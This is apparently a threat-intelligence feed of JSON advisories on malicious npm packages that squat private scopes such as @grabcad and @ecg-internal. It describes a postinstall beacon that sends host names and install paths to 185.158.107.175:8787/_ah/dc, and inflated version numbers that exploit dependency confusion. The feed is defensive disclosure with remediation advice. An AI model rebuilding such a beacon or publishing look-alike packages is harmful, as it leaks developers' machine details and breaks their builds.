{"classification": "tp", "details": "Installing @ecg-internal/reviews-dialog-ui 0.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18211"], "package": "@ecg-internal/reviews-dialog-ui", "public_id": "PROTET-NPM-2026-56", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/reviews-dialog-ui/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/media-util-js-lib 3.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18210"], "package": "@ecg-internal/media-util-js-lib", "public_id": "PROTET-NPM-2026-55", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/media-util-js-lib/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/media-util-js-lib 2.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18210"], "package": "@ecg-internal/media-util-js-lib", "public_id": "PROTET-NPM-2026-54", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/media-util-js-lib/2.0.1", "version": "2.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/media-util-js-lib 1.1.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18210"], "package": "@ecg-internal/media-util-js-lib", "public_id": "PROTET-NPM-2026-53", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/media-util-js-lib/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "Installing @ecg-internal/media-util-js-lib 1.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18210"], "package": "@ecg-internal/media-util-js-lib", "public_id": "PROTET-NPM-2026-52", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/media-util-js-lib/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/js-react-i18n 1.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18209"], "package": "@ecg-internal/js-react-i18n", "public_id": "PROTET-NPM-2026-51", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/js-react-i18n/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/js-react-i18n 1.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18209"], "package": "@ecg-internal/js-react-i18n", "public_id": "PROTET-NPM-2026-50", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/js-react-i18n/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/aurora-js-formatters 2.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18207"], "package": "@ecg-internal/aurora-js-formatters", "public_id": "PROTET-NPM-2026-49", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/aurora-js-formatters/2.0.1", "version": "2.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/aurora-js-formatters 1.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18207"], "package": "@ecg-internal/aurora-js-formatters", "public_id": "PROTET-NPM-2026-48", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/aurora-js-formatters/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/adobe-dmp-js 99.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18206"], "package": "@ecg-internal/adobe-dmp-js", "public_id": "PROTET-NPM-2026-47", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/adobe-dmp-js/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/adobe-dmp-js 0.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18206"], "package": "@ecg-internal/adobe-dmp-js", "public_id": "PROTET-NPM-2026-46", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/adobe-dmp-js/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/media-util-js-lib 0.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18210"], "package": "@ecg-internal/media-util-js-lib", "public_id": "PROTET-NPM-2026-45", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/media-util-js-lib/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/js-react-i18n 99.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18209"], "package": "@ecg-internal/js-react-i18n", "public_id": "PROTET-NPM-2026-44", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/js-react-i18n/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "Installing @blueskydataplatform/shared-ui 99.0.3 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. It also ships stub modules under dist/ that mirror the real package's export paths. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18212"], "package": "@blueskydataplatform/shared-ui", "public_id": "PROTET-NPM-2026-43", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@blueskydataplatform/shared-ui/99.0.3", "version": "99.0.3"}
{"classification": "tp", "details": "Installing @grabcad/grabcad-shop-shared 3.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18215"], "package": "@grabcad/grabcad-shop-shared", "public_id": "PROTET-NPM-2026-42", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/grabcad-shop-shared/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "Installing @grabcad/grabcad-shop-shared 2.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18215"], "package": "@grabcad/grabcad-shop-shared", "public_id": "PROTET-NPM-2026-41", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/grabcad-shop-shared/2.0.1", "version": "2.0.1"}
{"classification": "tp", "details": "Installing @grabcad/grabcad-shop-shared 2.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18215"], "package": "@grabcad/grabcad-shop-shared", "public_id": "PROTET-NPM-2026-40", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/grabcad-shop-shared/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "Installing @grabcad/grabcad-shop-shared 1.1.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18215"], "package": "@grabcad/grabcad-shop-shared", "public_id": "PROTET-NPM-2026-39", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/grabcad-shop-shared/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "Installing @grabcad/user-license 1.1.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18217"], "package": "@grabcad/user-license", "public_id": "PROTET-NPM-2026-38", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/user-license/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "Installing @grabcad/user-license 2.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18217"], "package": "@grabcad/user-license", "public_id": "PROTET-NPM-2026-37", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/user-license/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "Installing @grabcad/user-license 1.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18217"], "package": "@grabcad/user-license", "public_id": "PROTET-NPM-2026-36", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/user-license/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "Installing @grabcad/user-license 0.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18217"], "package": "@grabcad/user-license", "public_id": "PROTET-NPM-2026-35", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/user-license/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "Installing @grabcad/preferences-client 3.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18216"], "package": "@grabcad/preferences-client", "public_id": "PROTET-NPM-2026-34", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/preferences-client/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "Installing @grabcad/preferences-client 1.1.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18216"], "package": "@grabcad/preferences-client", "public_id": "PROTET-NPM-2026-33", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@grabcad/preferences-client/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "Installing @blueskydataplatform/shared-ui 99.0.2 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18212"], "package": "@blueskydataplatform/shared-ui", "public_id": "PROTET-NPM-2026-32", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@blueskydataplatform/shared-ui/99.0.2", "version": "99.0.2"}
